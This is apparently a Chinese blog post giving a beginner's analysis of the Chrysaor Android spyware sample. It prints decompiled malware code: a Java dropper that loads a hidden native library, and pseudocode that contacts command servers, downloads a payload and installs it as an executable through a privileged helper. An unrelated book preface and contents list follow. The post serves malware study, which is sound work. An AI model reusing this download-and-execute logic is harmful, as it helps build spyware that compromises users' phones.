android malware

来源:
https://github.com/fs0c131y/Android-Malwares/tree/c897dff1796c9cb7f19104e9ce3546d54cd55a45/Chrysaor/

3474625e63d0893fc8f83034e835472d95195254e1e4bdf99153b7c74eb44d86

用JEB看是这样一个结构
先看manifest发现用到了超多权限,然后入口是这里
这里写图片描述
这里写图片描述
反编译得到其Java代码

package com.network.android;

import android.app.Activity;
import android.os.Bundle;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class NetworkMain extends Activity {
    public NetworkMain() {
        super();
    }

    protected void onCreate(Bundle arg8) {
        super.onCreate(arg8);
        String v2 = "/data/data/com.network.android/libsgn.so";
        try {
            InputStream v1 = this.getResources().getAssets().open("libsgn.so");
            byte[] v0 = new byte[v1.available()];
            v1.read(v0);
            ByteArrayOutputStream v3 = new ByteArrayOutputStream();
            v3.write(v0);
            v3.close();
            v1.close();
            FileOutputStream v4 = new FileOutputStream(v2);
            v3.writeTo(((OutputStream)v4));
            ((OutputStream)v4).close();
            System.load(v2);
        }
        catch(Throwable v5) {
        }
        catch(Exception v5_1) {
        }
        catch(IOException v5_2) {
        }

        this.finish();
    }
}

发现并没有界面,直接将assets目录下的.so写入android的这个路径
/data/data/com.network.android/libsgn.so,然后用

Syste.load()

加载.so,然后就得转战IDA了。
然而并不会分析,只能看一堆strings
这里写图片描述
哦对了可以看一下JNI_onLoad()
这里写图片描述
发现它调用了fork()然后main()!
看到main的代码很牛啊,然而很多不懂的函数

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  void *v3; // r0@1
  int v4; // r5@2
  int v5; // r7@6
  void *v6; // r5@7
  char *v7; // r0@12
  const char *v8; // r2@12
  const char *v9; // r3@12
  char *v10; // [sp+0h] [bp-4A0h]@0
  char *v11; // [sp+4h] [bp-49Ch]@0
  int v12; // [sp+Ch] [bp-494h]@7
  char *v13; // [sp+10h] [bp-490h]@7
  int v14; // [sp+1Ch] [bp-484h]@1
  int v15; // [sp+20h] [bp-480h]@1
  void *ptr; // [sp+24h] [bp-47Ch]@1
  int v17; // [sp+28h] [bp-478h]@7
  char v18; // [sp+2Ch] [bp-474h]@1
  char v19; // [sp+3Ch] [bp-464h]@1
  char v20; // [sp+60h] [bp-440h]@1
  char s; // [sp+84h] [bp-41Ch]@1
  int v22; // [sp+484h] [bp-1Ch]@1

  v14 = 0;
  v15 = 0;
  v22 = _stack_chk_guard;
  ptr = 0;
  memset(&s, 0, 0x400u);
  memset(&v19, 0, 0x21u);
  memset(&v18, 0, 0xDu);
  v3 = memset(&v20, 0, 0x21u);
  handle_signals(v3);
  g_sleep_time_in_seconds = 30;
  sleep(0x1Eu);
  geteuid();
  while ( 1 )
  {
    v4 = 0;
    if ( socket_connect(&v14, SERVERS, unk_600C) == 1 )
    {
      get_random_hexlified_md5(&v19);
      get_mac_address(&v18);
      get_hexlified_md5(&v18, &v20, 12);
      if ( http_send_request_with_get(&v20, &v19, SERVERS, v14) == 1 && http_receive_payload(v14, &ptr, &v15) == 1 )
      {
        socket_disconnect(&v14);
        if ( socket_connect(&v14, SERVERS, unk_600C) == 1 )
        {
          v5 = v15;
          v4 = 1;
          if ( v15 > 0 )
          {
            v12 = v14;
            v6 = ptr;
            v13 = SERVERS;
            v17 = 0;
            if ( file_exists("/system/csk", &v17) != 1 )
              goto LABEL_17;
            if ( v17 )
            {
              if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1
                || system("/system/csk \"cat /data/data/com.network.android/.coldboot_init > /mnt/obb/.coldboot_init\"") == -1
                || system("/system/csk \"chmod 711 /mnt/obb/.coldboot_init\"") == -1 )
              {
LABEL_17:
                v4 = 0;
                goto LABEL_18;
              }
              unlink("/data/data/com.network.android/.coldboot_init");
              v7 = &s;
              v8 = "%s";
              v9 = "/mnt/obb/.coldboot_init";
            }
            else
            {
              if ( write_buffer_as_executable(v6, v5, "/data/data/com.network.android/.coldboot_init") != 1 )
                goto LABEL_17;
              v7 = &s;
              v8 = "%s";
              v9 = "/data/data/com.network.android/.coldboot_init";
            }
            if ( snprintf(v7, 0x3FFu, v8, v9, v10, v11) <= 0 )
              goto LABEL_17;
            v10 = &v19;
            v11 = v13;
            v4 = sub_1CF4(v12, &s, v17, &v20);
            if ( v4 != 1 )
              goto LABEL_17;
          }
        }
      }
    }
LABEL_18:
    if ( ptr )
    {
      free(ptr);
      ptr = 0;
    }
    socket_disconnect(&v14);
    if ( v4 == 1 )
      pthread_exit(0);
    sleep(g_sleep_time_in_seconds);
  }
}
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
This book is based on our years-long research conducted to systematically analyze emerging Android malware. Some of our earlier research results and findings were reported in an IEEE conference paper entitled Dissecting Android Malware: Characterization and Evolution, which was presented at the IEEE Symposium on Security and Privacy (often mentioned as Oakland conference in the security community) in May, 2012 [77]. During and after the conference, we were pleased to receive and hear inquiries from colleagues with encouraging comments on the systematization of knowledge work that has been conducted in our conference paper. Partially because of that, we are motivated to expand our work and hope such efforts will be of service to the security and privacy community. Further, as part of that, we have released corresponding malware dataset for our study under the name Android Malware Genome Projectto the community. With that, we want to take this opportunity to thank our collaborators, Dongyan Xu, Peng Ning, Xinyuan Wang, Shihong Zou, and others, whose valuable insights and comments greatly enriched our work. The authors are also grateful to colleagues in the Cyber Defense Lab at NC State University, especially Tyler Bletsch, Zhi Wang, Michael Grace, Deepa Srinivasan, Minh Q. Tran, Chiachih Wu, Wu Zhou, and Kunal Patel. Special thanks also go to Susan Lagerstrom-Fife and our publisher for their great help and patience! This research was supported in part by the US National Science Foundation (NSF) under Grants 0855297, 0855036, 0910767, and 0952640. Any opinions, findings, and conclusions or recommendations expressed in this material are those of the authors and should not be interpreted as necessarily representing the official policies or endorsements, either expressed or implied, for the NSF. 1 Introduction ........................................ 1 2 A Survey of Android Malware........................... 3 2.1 Malware Dataset . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3 2.2 Malware Characterization . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.1 Malware Installation . . . . . . . . . . . . . . . . . . . . . . . . . . 5 2.2.2 Activation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 12 2.2.3 Malicious Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . 13 2.2.4 Permission Usage . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18 3 Case Studies ........................................ 21 3.1 Malware I: Plankton . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.1.1 Phoning Home . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21 3.1.2 Dynamic Execution . . . . . . . . . . . . . . . . . . . . . . . . . . . 22 3.2 Malware II: DroidKungFu . . . . . . . . . . . . . . . . . . . . . . . . . . . 23 3.2.1 Root Exploits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 24 3.2.2 Command and Control (C&C) Servers . . . . . . . . . . . . . 24 3.2.3 Payloads . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 3.2.4 Obfuscation, JNI, and Others . . . . . . . . . . . . . . . . . . . . 26 3.3 Malware III: AnserverBot. . . . . . . . . . . . . . . . . . . . . . . . . . . . 26 3.3.1 Anti-Analysis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27 3.3.2 Command and Control (C&C) Servers . . . . . . . . . . . . . 28 4 Discussion.......................................... 31 5 Additional Reading................................... 33 5.1 Books . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 33 5.1.1 Malware Detection and Defense . . . . . . . . . . . . . . . . . . 33 5.1.2 Smartphone (Apps) Security. . . . . . . . . . . . . . . . . . . . . 34 5.2 Conference and Workshop Proceedings . . . . . . . . . . . . . . . . . . 34 ix 6 Summary........................................... 37 References............................................ 39 Index ................................................ 43

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值